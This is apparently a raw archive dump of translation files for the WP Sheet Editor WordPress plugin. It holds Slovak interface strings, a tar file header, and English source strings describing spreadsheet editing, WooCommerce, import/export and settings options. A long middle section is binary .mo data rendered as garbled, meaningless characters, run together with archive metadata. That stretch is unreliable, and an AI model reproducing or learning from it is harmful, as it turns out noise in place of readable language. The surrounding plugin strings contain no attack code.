                  vašom %s, čo vám ušetrí veľa času.S týmito súbormiS týmS týmto súboromWooCommerce – ZÁKLADNÁ integráciaWooCommerce - Integrácia produktovWooCommerce kupónyTabuľka kupónov WooCommerceTabuľka zákazníkov WooCommerceTabuľka objednávok WooCommerceProdukty WooCommercePole WordPressPole WordPressWordPress používa heartbeat API na kontrolu stavu prihlásenia každých pár sekúnd. To môže preťažiť váš server, pretože pri úprave tabuľky môže zadávať stovky požiadaviek. Môžete ho zakázať, aby ste znížili záťaž na serveri pri úpravách v hárku. Ak však necháte tabuľku otvorenú počas niekoľkých dní, platnosť vašej prihlasovacej relácie môže uplynúť a nebudete upozornení, ak vypnete srdcový tep, čo môže spôsobiť problémy pri ukladaní. Túto možnosť teda použite iba vtedy, keď tabuľku používate len niekoľko hodín.Nesprávny formát údajovNesprávna prípona súboru. Akceptujeme iba CSVNesprávna adresa URL súboruNesprávny typ produktu. Uistite sa, že ide o variabilný produkt.XYOAST SEOrokovÁnoTúto akciu nemáte povolené. Znova načítajte stránku alebo sa znova prihláste.Jazyk tohto príspevku môžete zmeniť. Ak preklad pre nový jazyk existuje, táto zmena sa nepoužije.Jednoduché produkty môžete previesť na variabilné produkty. Variácie môžete skopírovať do jednoduchého produktu a ceny z jednoduchého produktu ponechať na variáciách.Tu môžete vytvárať nové položkyMôžete to urobiť viackrátMôžete upraviť informácie o médiách, ako napríklad:Môžete upraviť informácie o svojich produktoch WooCommerce, ako napríklad:Tu nájdete všetky nastavenia, napríklad viditeľnosť stĺpcov atď.Môžete si prečítať naše FAQ so zoznamom stoviek otázokMôžete zmeniť veľkosť editoraPomocou operátorov môžete vyhľadávať podľa ľubovoľného poľa. T.j. cena > 100, obrázok != (prázdny)V prvej možnosti tohto formulára môžete vybrať riadky na úpravu.Tabuľkový editor môžete začať používať už za 5 minút. Postupujte podľa týchto krokov.Nemáte dostatočné povolenia na vytváranie nových riadkov.Na vykonanie tejto akcie nemáte dostatočné povolenia.Na vykonanie tejto akcie nemáte dostatočné povolenia.Nemáte dostatočné povolenia na načítanie riadkov.Nemáte dostatočné povolenia na uloženie zmien.Nemáte dostatočné povolenia na vyhľadávanie výrazov taxonómie.Na zobrazenie tejto stránky nemáte dostatočné povolenia.Zadali ste neplatný vzorec. Prosím skontrolujte alebo nás kontaktujte.Upravili ste príspevky. Uložte zmeny, pretože tabuľku obnovíme.Upravili ste príspevky. Uložte zmeny, pretože tabuľku obnovíme. Chcete sa teraz osviežiť?Upravili ste riadky. Pred odstránením stĺpcov z tabuľky uložte zmeny.Zatiaľ ste neuložili vzorce.Musíte zadať celú hierarchiu ako rodič > dieťaZ bezpečnostných dôvodov ho musíte použiť súkromne, platnosť tohto odkazu vyprší po jednom použití.Riadky musíte načítať manuálne, pretože ste deaktivovali automatické načítanie riadkov. Zmeňte nastaveniaPre zobrazenie tejto stránky sa musíte prihlásiť.Na stránke nastavení musíte nastaviť logo. Voliteľne môžete zmeniť farbu pozadia, farbu odkazov a nastaviť ponuku hlavičky.Vybrali ste stĺpec zo súboru CSV nižšie, ale stĺpec sa
                  neimportuje. Prejdite na predchádzajúci krok a vyberte stĺpec, ktorý chcete importovať.
                  Hypotetický príklad, ak chcete aktualizovať existujúce produkty s rovnakým ID, musíte importovať stĺpec ID, inak nemáme ID, aby sme ich našli.Do bunky budete môcť zadať názov príspevku a v bunke sa zobrazí rozbaľovacia ponuka s návrhmi.Do bunky budete môcť zadať používateľské meno a v bunke sa zobrazí rozbaľovacia ponuka s návrhmi.Váš server nemohol spracovať túto dávku. Chcete to skúsiť znova?Váš server nemohol spracovať túto dávku. Chcete to skúsiť znova? Môžete to skúsiť 3-krát. Ak zlyhajú 3 pokusy, import úplne zastavíme.prázdnyje uvádzaný?alebodo{deleted} duplikátov bolo odstránených.{updated} uložených položiek z {total} položiek, ktoré je potrebné uložiť.modules/wp-sheet-editor/lang/vg_sheet_editor-es_ES.mo000064400000640301147600365160016674 0ustar004)\S o>!oS`ooPzpvpBqZqqqqqqMqG r.RrrMrrsBt*uuYuVvKw'OwpwwwDpxyz{|}p7}}BNw2L`Jt^Lj&0XBkJM.JFMNl @5v2Ҙb{~x)mߞMm!ѡ]/D/tĢţգݣ"$HAB2u}0 #1ASdw^UG#e@;[,{ƨ/ܨ( ,5b$z\V:A<=~/=5*%`ì=Ԭ :;v}a,2FMy9Ǯ*<Rgv gG`o ϱH ^k  =IJ 9$^R%\xշQȿ*d u !* 1"?`bH% 6@Z r !$( . < J U3aJ.  *&@g a"/5 es.| R.+)ZH-&)nP(1>*!i1 * 6) `lu" % DP U `n~ w{p) ! 38@ y 00- R8 (" 3#T2xL^+W&7-.@H3S"J*m. !7 A&24&[ds   * : GQ HR c 4  w4 "!#)((R{[Fm2  &@ U:c612 CM S aov  5*9M( Z*+j-OQ- ,n!.4'c(.O$~(kqCbD,WJ\y01K\^ :45+jd  !&7> Y6g  ,)@O^dw ; Y2  yWcW5@& &3NVg7xGF? P \g o z W 2(.+W++&& /) &Y :  ' % 8& _ ?v j i!  ` u e n E[ n bs1$#   $#:^wu{i} D_'Q*y46 #- = HT k x t '/> E P\ty~2   Q hv { *,( ( 6Ca>pW6:>y*@ <FK[yZ7' _m  ;# (  .  9 F ` e y     #  ! !%!*!-!=!V!(k!q!"@" \" h",u" ""+"#%|&&$&&&&!&' (8((,(e)&)))))* *** (* 5*A*G*N*b*Ck***'* *<+bC+(++1l,C,/,:-eM---+-".;.7.k.sg/// /#/#!0 E0O0j0 00 0'00000 11 11&1X1*k111 1 1 1 222%2.2 2 2 3+3E3uX33,3, 4.:4.i4-4A4A5!J5!l5"555$5 6"666 66 6$7477s8<9rA99 999G9A:%J:p:":: ::z:;F;v;;;/< H<S<W<i<y< < < < <<< < < <= = = = .=9=J=Z=p=!= === ="=&>55>k>(>> >>> >&?/?F?^O????"?@ @%"@H@Y@#r@@@d@I(A@rA(AA A ABB4B JB"TBwBB<B=BC:'CbC uCCCC CCCCC"D3DMD(]D$D DDDDDDEy5EE&DFpkH^H;I@IXIqIxIIIII)I JJ;JLJcJtJ{J J1J"JJJJKK4KLJLhLpLvL{L8L*LLpM{HNN$N\P*`PSPEPW%QB}QQ/RbR,WxXoXRZB[[i[$b\'\ \%\\0y]$^D_!`$6`6[`-`A`^agaaWaW!bDybBbTc+Vc3c=d}dre'pg8gg@}hhHfiLi/i,jjel[lAGmKmAmnknPoopp3 r+>rjr~r rrrhAssRtXtu u,uAu'v0v5v9vBv Rv`v'uvv'w77w ow|wwwww w*wx x"%x9Hx9xxtxNycy+wy+y yyy z.zFzOz8Uzz)zzz zz{{{{ {{{{|| | !|+|;|Q|g|x|.||||c|a}Jp}\}*~lC~e~DU[!iQ=-E5O= 3^n?s>Jo7>14pCoƐ96pPV]3x#1Г#&;B5~@5:K#13ܕ.raʙ3iԜ>̝`X+'.!V%xf  &5D"d!ݤ!1Jd(v7 9N6z9W)v8A٪9UOoFX8_+4Ĭ38-.f1:ǭ3B6YyuӮ]I]5;6$::ò$g#feIX: @MP'S.{&8ѷ" B-WpȹTyv ɻXLV-Ѽ^D*YEʿeL 'Xe|=5T)Ys/Q^kT(|9fEmTCkYU B/(XBZ$=#-@nU>{#.lR `0V*$$ -,=Wj2W &0Du #$*dOc "9\z<%"&*B;m#9=&9d 2vi{@GHOM=RJ.)y% XR(ZHZ3y?`CN0 ISL V1p #!3;^P&  * UJ     e w TD>*/vR !v"B #P$k%%%%% % %%&,& G&R&[&2t&r&!'<'ZD'' '$''(#(=( V((c(3(( ((())))>;)Uz)2)**5*9P******o*h+B++ +;+ ',4, K, U,`_,2,/,K#-o--.-/-o-.n..0.I.#+/8O/ /4/!//8/80H0O0;g0#00001#.1 R1-^111 1 1 11#11 2 &232H2`223'4 @4L4a4{4:45 555=6 A6 M6Z66u6?6B6U/77 77,747,89K8<838H8i?9~95(:+^:@:*:7:!.;QP;G;P;1;= m={=5?5N?5?? ?-?G @T@#@9A@HA AAAAAABB/BKBjBBBB B B+BD D"#DFDfD D2DDDD E E*EEE E E4 G2>G<qG<GGHQHPIAaIIII*IJ.JH=J?J3J J>K CKMKaKtK KKK$KKL LQ7LLLLLzM7M1MmM kN9wN NNCOOyPb=QRgR"S7S# T/T5BTxT}UU-U+U( V6V+V)W,-WZWuWXrXCYBLYYY7ZZ[a[E\"Y\)|\8\<\#]V@]h] ^> ^I^'N^v^;^2^k^ i_s_|___#____A_6`P`l` `(`A`+`'a8aIaOajaaaaaIab$bBb|abcc dd0dFdemhf]f4ggjbjP+k|k kkkk kkkllkll@m+o2Foyoo>o<o0 p-p1P<̈7 8"[Pa ؊ ',8Cf|&@ Kb G'#(L T `l&Ս/8@O   Ď0 Q!I  Vc4w Wِ1G%.T+W *n*Lɗ":9kt>:V$t  ̙ڙ C QnDuYʚl$.7zV4 c>z",@5m'˞HZG ǠѠ #"*F q{ *ǡС   0._4v!͢");LS\I Z hFvؤ_2s2:٥<6QTVݦ143f.*ɧ.=\%ݨ! 3.>1m&yI߫kSƬ .&U0mխڭ?^'-@Iǯ.?Om  ɰ!!6X-x.ձݱ.-0D^$.Ȳ&; Z5g$³Zѳ,3K'a 0",*"Wz{QKa(ֶ&)Fp .ϷNN:E!> Wdt4$/7*g  ޺/Fڻmm۾h`ɿѿ + Kl3- $3Xs zA5 $=bOSi&Q6 FPV6p4sG gtT+WYMmF\=m:3&nzYj8Z*N($Ch*!6ATxxFTY!|)$&%'@bS.O0/B3-vZy|yUyLT`n|(bOwJQ1BK$R[;wmtrGULXCn(I1F)Cm\ 9%_Q$ v2/J-[AT+ L349n+C.=7u2{   + 3 ?L\s +h Uv.]~x Gj'7_P65l8   Sy 7    ^]@AQ;v=83 ;ECbI!2?O<M27@jHK_|f*iX!kj""p#0%&'(#Q)u)"))b)"*5*>*O*!a*&****+**+@+V+i+|+-.?:.z.E.. ...I.Y;//u<00`11.1@1S2Oc2$2b2O;3f3F30947j4:4:4158J57555N5^@6x6f7j777*"8M909*:@:Q$;v<g=e=cd>K>?? ?? ?#?8@"L@Qo@?6% 0L{Uv3|4>Bi`ZP?r ZW}I{{_oyoe Ds{h9fGOW:(i@=ddgmU z&3h`S .( '&R \Ka X gqCr-Ht&<a _b] }(,#]0RF.Ah6 `[v.%r#aZ_/4ewVTn X_nks/~,!Kwlc`GS$.[ >smR%Bw747 pNgNZ;2 A?*TMTIf")+9A-1L0\Xi69*kqtCDx9,jp# @DQa8HxLQ,oxOfo35 l-*"4Ck y.[eKO7G[F, u+no"Q&#O^j9[ y=^$8@^Y1_(->W/:}8'EpEq:(Q@:!1P#\q8'+%KJ\mLRu G!(dBI^hei~}<J8bV6.:z\2S |m ll1K4|5J?" ~s Q#MPaN2 /r<d,Ss5 jkX-U y2V3"I!5Y3<ut}W ccnf>`3PJ)%b1Ag)A N0hcCD&T~)q;6fYz*OZ')*7C /G>jE+Ie%l VFv;&|!bi' ]+Bu$wJ0cESYF]@L$xy$~z?v+MpX'Yp5 x$PB=wVW;MNb) m;4H]t-zdFMr"H0ukv*RU{2Tt=27H/UDEg=<|1^!nj (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%1$d of %2$d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download PluginTip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batchTip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batchWP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet
                  Use the coupon: %s

                  The export finished.

                  The download should start automatically.

                  WP Sheet Editor

                  Do you want to install the premium plugin that you purchased? Follow these steps:

                  1. If you were using the free version of the plugin before the purchase, you need to uninstall the free version now
                  2. When you purchased the plugin, you received an email with the download link and license key
                  3. Now go to this page and click on the "Upload" button at the top
                  4. Upload the premium zip file
                  5. Activate the plugin
                  6. You will see a screen asking for a license, enter your license key
                  7. Done. Now you should see the welcome page where you can set up the plugin and start using it

                  If you need help, you can contact us

                  Missing column?

                  or
                • Shop manager role can view and edit WooCommerce products.
                • Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  Edit default post fields in spreadsheet.

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  Resize columns in the spreadsheet and save it for future sessions.

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  You can show, hide, and sort columns in the spreadsheet.

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  Complete

                  .

                  Free extensions

                  Send email notifications to users in bulk, and create advanced segments using the advanced search.

                  For example, you can filter a spreadsheet of customers/users/forum users/affiliates/blog commenters by country, city, state, orders count, etc and send them important emails.

                  We recommend that you use a SMTP plugin to improve the email deliverability and take into account the users consent and privacy laws.

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk edits.

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  The changes have been scheduled. You can close this popup. View scheduled changes.

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  The export has been scheduled. You can close this popup. View scheduled exports.

                  The import has been scheduled. You can close this popup. View scheduled imports.

                  The import has finished

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  The process has finished

                  This includes spreadsheets to manage Donation Forms, Donations, and Donors. You can bulk edit, export, import, and quickly manage your donations website created with GiveWP

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  Do we deserve a 5-star review? Yes, you deserve it . - . NoA column is missing?A column is missing? Enable itA field is missing? Click hereACF: Show checkboxes as multi select dropdowns?Accept post from this post typeAccept terms from this taxonomyActionActivate full screenActivate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems.Active filters:Active.Add NewAdd New Columns to the SpreadsheetAdd New SpreadsheetAdd a name for this group of columnsAdd call to actions or any text at the beginning or ending of your postsAdd columns for custom fieldsAdd hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Add html classes to the "post status" cells based on their values?Add newAdd new columnAdd new post typeAdd time to existing datesAdministrator role can view and edit everything.Advanced Custom FieldsAdvanced SearchAdvanced SettingsAdvanced modeAdvanced searchAdvanced settingsAll SpreadsheetsAll changes saved.All items have been saved.All the features available in the backend spreadsheet can be used in the frontend spreadsheet.All the parameters will be used to search on variations instead of the main products.All the products in the storeAll the rows from my current searchAll the variable productsAllowAllow backordersAllow line breaks in values during the export and import processAllow multiple files per field?Allow multiple posts per field?Allow multiple terms per field?Allow safe html in post titles?Allow to edit this column on variation rows?Allow to edit using formulas?Allow to hide column?Allow to hide this column on the settings page?Allow to import images from FTP servers?Allow to rename column on the settings page?Allow to rename column?Allow to see the variation URL slug?Allow users with the capability unfiltered_html to save any html in the post content column?Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely.Allow your clients to edit WooCommerce Products using the spreadsheet without wp-adminAllow your marketplace sellers to bulk edit their productsAllow your marketplace sellers to import products on the frontendAllow your readers to submit blog posts using the spreadsheetAllow your store buyers to download the catalogAllow your store customers to make advanced catalog searches Allow your store employees to manage stock and pricesAllow your visitors to publish eventsAllow, but notify customerAllowed valuesAlready downloadedAlternative textAlways run the save_post action after any post row is edited?And more.And see previews while editingAny of these values (Enter multiple values separated by ;)AppendApplication/SoftwareApply changes in bulkApply settingsAre you sure you want to delete the post type? You will delete the posts in the post type as wellAre you sure you want to delete this column?Are you sure you want to delete this columns view?Are you sure you want to delete this scheduled job and all its related files?Attach every taxonomy term in the hierarchy to the posts?Attribute %d defaultAttribute %d globalAttribute %d nameAttribute %d value(s)Attribute %d visibleAttribute nameAttribute value(s)Attribute visibilityAttributesAttributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved.AuthorAuthor role can view and edit his own posts only, he can upload images.Auto (Default)Auto retry failed batches?Autofill cellsAutomaticAvailable componentsAvailable spreadsheetsAvailable tools (optional)Average ratingBackendBackorders allowed?Backwards compatibility. This setting will be removed in future updates.Basic searchBlacklist these columnsBulkBulk EditBulk Update featureBulk actionsBulk edit columnBulk edit not executed. No items found matching the criteria.BuyBuy bundleBuy extension now!By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link.By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips.By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.By default we show the categories as names separated by commas. Activate this option to display and save term slugs separated by commas.By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite listBy default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product.By default, for performance reasons, we trigger the WC API events when fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, Type. Activate this option if you want to trigger the WC API events when any field is edited, including fields unrelated to WC.By default, if the product is variable, we activate "used for variations" to save you time, so you can create your variations faster. But if you prefer to manually activate it on specific attributes, you can activate this option.By default, the "parent" column displays titles and saves using titles. If you activate this option, the column will display IDs and save IDs. This is useful if you have duplicate titles and you need to save the exact parent by ID.By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slowerBy default, we create 100 copies per batchBy default, we export and import one column named "Images" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery imagesBy default, we make the attributes visible in the products when you save any attribute in the spreadsheet to save you time, but if you prefer to manually activate it on specific attributes, you can activate this option.By default, we only attach the last term in the hierarchy to the posts because WordPress automatically handles them correctly. But if you want to assign each term to the post, including the parent categories, activate this optionBy default, we only display 30 characters. You can increase the number here to view larger previews.By default, we remove any unsafe html from all the spreadsheet columns before saving the values. You can activate this option if you want to allow the WordPress super admins or administrators to add iframes, ad codes, etc to the post content. Use it at your own risk.By default, we run the save_post action only when a post data field is updated (fields other than meta and taxonomies) for performance reasons. Enable this if other plugins aren't detecting our changes or webhooks aren't running.By default, we show all the columns in the app modules (advanced search, bulk edit, export, import, etc), even if they're disabled in the columns manager. Activate this option to only display enabled columns.By default, we show every checkbox as a separate column, but if you have checkboxes with many options you might want to use one column with a dropdown instead.By default, we show the file name as a preview next to the thumbnail, you can activate this to show the thumbnail and upload buttons onlyBy default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fastBy the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is brokenCHARACTER LENGTH <CHARACTER LENGTH >CONTAINSCSV ColumnCSV FieldCSV fileCSV file from my computerCSV file from urlCSV file in the serverCSV file locationCalendarCancelCancel importCancel the changes and close popupCapitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".Capitalize wordsCaptionCareful. The changes are not reversible. Please double check proceeding.Category name...Cell typeChange attribute settingsChange background colorChanges savedChanges saved successfullyCheckboxClear valueClick here to export the settingsClick here to show all columns againClickable buttonClicks avoided
                  (estimated)CloseColumn formatColumn groupsColumn keyColumn nameColumn not found. Try with another search criteria.Column removed. Go to "settings > hide/display columns" to enable it againColumn settings defined in the columns managerColumn sizesColumn titlesColumn width (pixels)Columns could not be saved. Try again.Columns created manuallyColumns limitColumns managerColumns renamingColumns resizingColumns restored successfully, please reload the page to see the restored columns and enable themColumns visibilityColumns visibility and Custom Fields (optional)Comment countCommentsComments, Reviews, and Order Notes SpreadsheetContact usContains keywordContentContinueContributor role can view and edit his own posts only, but he can't upload images.Copy & paste from another spreadsheet or tableCopy and Paste into the spreadsheet belowCopy files from this product: (You need to save the changes afterwards.)Copy from other columnsCopy from this columnCopy regular price and decrease by percentageCopy regular price and decrease numberCopy the value of other fields into this field.
                  Example, copy "sale price" into the "regular price" field.Copy the variations into these products.Copy variationsCopy variations and attributes from this product:Copy variations faster: Number of variations to copy per batchCopy variations from this productCreate and copy variations for variable products.Create columnCreate new items and update existing itemsCreate this number of variationsCreate variationsCreate variations for every combination of attributes?Cross-sellsCurrencyCurrent spreadsheetCustom Database Tables SpreadsheetCustom attribute namesCustom attribute: %sCustom columnsCustom formulaCustom post typesCustomize featuresDark modeData missing, try again later.Data sourceDateDate (GMT)Date and timeDate range fromDaysDeactivate the data prefetchDecimals separatorDecode quotes?Decrease byDecrease by numberDecrease by percentageDecrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Deduct time from existing datesDefaultDefault attributeDefault attributesDefault sort orderDefault: 4. When you enter an external image URL in any image cells (or during the import), we download the image file into the WordPress media library and save it in the field. By default, we limit the download time to 4 seconds, any download that exceeds that number of seconds will be cancelledDeleteDelete allDelete completelyDelete fieldDelete posts faster: Number of posts to delete per batchDelete rowDelete rowsDelete serialized fieldDelete the attached images when deleting a post?Delete the newest items and keep the oldest itemDelete the old items and keep the newest itemDelete user accounts in the entire network when deleting users in the spreadsheet?Demo videoDescriptionDisable allDisable cells lazy loading?Disable column. You can enable it later.Disable extension offerings?Disable post actions while saving?Disable product inventory stats?Disable serialized columns support?Disable the addition of file ID to the image URLs?Disable the automatic activation of "is visible" for attributes on products?Disable the automatic activation of "used for variations" for attributes on variable products?Disable the automatic formatting detection?Disable the automatic loading of rows?Disable the display of file names in the image columns?Disable the full screen mode?Disable the heartbeat api in the spreadsheet?Disable the help toolbar?Disable the popup that asks you to install important extensions?Disable the replacement of line breaks with p tags?Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.Disable usage stats widget?DisabledDisconnecting the current site from your Google account and the WP Sheet Editor API will pause the sync jobs you created on this site. However, sync jobs created by other users on this site, which sync to their own Google accounts, will remain active. Your other WordPress sites will continue to function normally. Do you want to continue?Display raw value on select cells?Display spreadsheet editor on the frontendDisplay the spreadsheet editor in the frontendDisplay variationsDo not allowDo not copy the variation images?Do you want to deactivate columns for new fields found?Do you want to delete {rows_number} rows from the database completely? If you want to restore them later, you should make a backup before.Do you want to update or create items?Don't display the disabled columns in the modules?Don't show read-only columns in the advanced search?DownloadDownload %d IDDownload %d URLDownload %d nameDownload CSV fileDownload URLDownload expiryDownload filesDownload files : URLsDownload files : namesDownload limitDownload nameDownload typeDownload updateDownloadableDownloadsDrag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).DuplicateDuplicate (Tool)Duplicate from the main languageDuplicate items in bulkDuplicate items in bulk.Duplicate rowDuplicate rows: Number of copies to create per batchDuplicate this item:EDD Download FilesEDD Variable PricesENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automaticallyENDS WITHEasy Digital Downloads SpreadsheetEditEdit Edit %sEdit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download PluginEdit Custom Fields in SpreadsheetEdit Posts and Pages in SpreadsheetEdit User Profiles in Spreadsheet - BasicEdit User Profiles in Spreadsheet - FULLEdit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
